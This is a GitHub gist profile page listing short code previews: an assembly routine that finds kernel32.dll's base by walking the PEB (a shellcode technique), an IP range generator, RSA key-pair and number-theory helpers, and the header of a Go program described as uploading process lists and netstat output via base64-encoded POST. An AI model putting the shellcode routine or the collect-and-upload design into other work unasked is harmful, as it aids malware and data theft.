Skip to content

Instantly share code, notes, and snippets.

View CCCougar's full-sized avatar
🎯
Focusing

Cougar Y CCCougar

🎯
Focusing
  • NJUPT
  • Nanjing
  • 04:17 (UTC +08:00)
View GitHub Profile
@CCCougar
CCCougar / getkernel32base.asm
Last active April 27, 2022 02:17
32/64位汇编获取kernel32.dll基址
; 32位 -- 参考:https://github.com/mai1zhi2/ShellCodeFramework/blob/bb16c47cf6bbc673b80a2743f0841d2b2d86846b/Framework/Shellcode.cpp
GetKernel32Base32 PROC
mov eax, fs:[18h] ; 找到teb
mov eax, [eax + 30h] ; peb
mov eax, [eax + 0ch] ; PEB_LDR_DATA
mov eax, [eax + 0ch] ; LIST_ENTRY 主模块
mov eax, [eax] ; ntdll
mov eax, [eax] ; kernel32
mov eax, dword ptr[eax + 18h] ; kernel32基址
ret
@CCCougar
CCCougar / generate_ip.py
Created December 31, 2021 03:10
Generate an IP range list in Python
# author: https://tkit.dev/2011/09/11/how-to-generate-an-ip-range-list-in-python/
def ipRange(start_ip, end_ip):
start = list(map(int, start_ip.split(".")))
end = list(map(int, end_ip.split(".")))
temp = start
ip_range = []
ip_range.append(start_ip)
while temp != end:
@CCCougar
CCCougar / RSA_get_e_d.py
Created December 23, 2021 09:36
获得大量RSA公私钥对
# 获得所有e,d公私钥匙对
from Crypto.Util.number import GCD
p = 206373637029902328657596154026109496537
q = 230573583664314101337547147157742312101
N = p * q
phi = (p - 1) * (q - 1)
# group = {}
@CCCougar
CCCougar / getGCD.py
Last active November 30, 2021 13:00
Euclidean Algorithm(EA) and Extended Euclidean Algorithm(EEA)
def getGCD(num_1, num_2):
if num_2 > num_1:
tmp = num_1
num_1 = num_2
num_2 = tmp
while True:
remainder = num_1 % num_2
if remainder == 0:
return num_2
num_1 = num_2
@CCCougar
CCCougar / eratosthenes.py
Last active November 28, 2021 08:46
Eratosthenes sieve
def Era(number):
pres_num = int(number ** 0.5)
for i in range(1, pres_num):
if Divide(number, i+1):
return True
return False
def Divide(number, factor):
if number % factor == 0:
@CCCougar
CCCougar / main.go
Last active September 9, 2021 10:24
get process lists and network infos
// 获得进程快照信息和netstate -an的信息base64编码后以POST数据的形式上传到相应地址
package main
import (
"bytes"
"encoding/base64"
"flag"
"fmt"
"io/ioutil"
"net/http"